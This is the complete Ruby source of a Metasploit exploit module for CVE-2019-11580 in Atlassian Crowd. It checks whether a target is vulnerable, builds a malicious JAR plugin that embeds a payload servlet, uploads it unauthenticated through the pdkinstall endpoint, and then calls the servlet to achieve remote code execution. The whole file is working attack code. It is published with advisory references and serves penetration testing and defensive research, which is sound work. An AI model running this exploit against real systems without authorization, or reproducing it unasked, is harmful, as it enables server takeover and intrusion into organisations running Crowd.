##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE',
        'Description' => %q{
          This module can be used to upload a plugin on Atlassian Cloud via
          the pdkinstall development plugin as an unauthenticated attacker.
          The payload is uploaded as a JAR archive containing a servlet using
          a POST request to /crowd/admin/uploadplugin.action. The check command will
          check that the /crowd/admin/uploadplugin.action page exists and that it
          responds appropriately to determine if the target is vulnerable or not.
        },
        'Author' => [
          'Paul', # Vulnerability discovery
          'Corben Leo', # PoC and Vulnerability Writeup. @hacker_ on Twitter.
          'Grant Willcox' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2019-11580'],
          ['URL', 'https://jira.atlassian.com/browse/CWD-5388'],
          ['URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html'],
          ['URL', 'https://www.corben.io/atlassian-crowd-rce/']
        ],
        'Platform' => %w[java],
        'Arch' => ARCH_JAVA,
        'DefaultOptions' => {
          'HttpClientTimeout' => 25 # Allow a bit more time for the file upload to complete, just in case things are delayed, before timing out.
        },
        'Notes' => {
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ]
        },
        'Targets' => [
          [
            'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ]
        ],
        'DisclosureDate' => '2019-05-22'
      )
    )

    register_options(
      [
        Opt::RPORT(8095),
        OptString.new('TARGETURI', [true, 'The base URI to Atlassian Crowd', '/crowd/']),

      ]
    )
  end

  def upload_plugin(content)
    data = Rex::MIME::Message.new
    data.add_part(content, nil, 'binary', "form-data; name=\"file_#{Rex::Text.rand_text_alpha(8..12)}\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.jar\"")
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/admin/uploadplugin.action'),
      'method' => 'POST',
      'data' => data.to_s,
      'ctype' => "multipart/mixed; boundary=#{data.bound}"
    }, datastore['HttpClientTimeout'])
  end

  def generate_plugin_jar
    name = Rex::Text.rand_text_alpha(8..12)
    servlet_name = Rex::Text.rand_text_alpha(8..12)
    atlassian_plugin_xml = %(
        <atlassian-plugin key="metasploit.PayloadServlet" name="#{name}" plugins-version="2" class="metasploit.PayloadServlet">
          <plugin-info>
            <param name="atlassian-data-center-compatible">true</param>
            <description></description>
            <version>1.0.0</version>
          </plugin-info>

          <servlet name="#{servlet_name}" key="#{servlet_name}" class="metasploit.PayloadServlet">
            <url-pattern>/#{name}</url-pattern>
            <description>#{Faker::App.name}</description>
          </servlet>
        </atlassian-plugin>
      )

    # Generates .jar file for upload
    zip = payload.encoded_jar
    zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)

    servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
    zip.add_file('/metasploit/PayloadServlet.class', servlet)

    contents = zip.pack
    [contents, name]
  end

  def check
    print_status('Sending a test request to try installing an invalid plugin to see if the server is vulnerable...')
    res = upload_plugin(Rex::Text.rand_text_alpha(45..120))
    if res.nil?
      CheckCode::Unknown('Was not able to connect to the target!')
    elsif (res.body =~ /Unable to install plugin/) && (res.code == 400)
      CheckCode::Vulnerable("Target responded that it couldn't install an invalid plugin, indicating it's vulnerable!")
    else
      CheckCode::Safe("Target didn't respond that it couldn't install an invalid plugin, so it's not vulnerable!")
    end
  end

  def exploit
    print_status('Generating a malicious JAR plugin...')
    content, plugin_name = generate_plugin_jar
    print_status('Uploading the malicious JAR plugin...')
    upload_plugin(content)
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/plugins/servlet/#{plugin_name}"),
      'method' => 'GET'
    }, datastore['HttpClientTimeout'])
  end
end
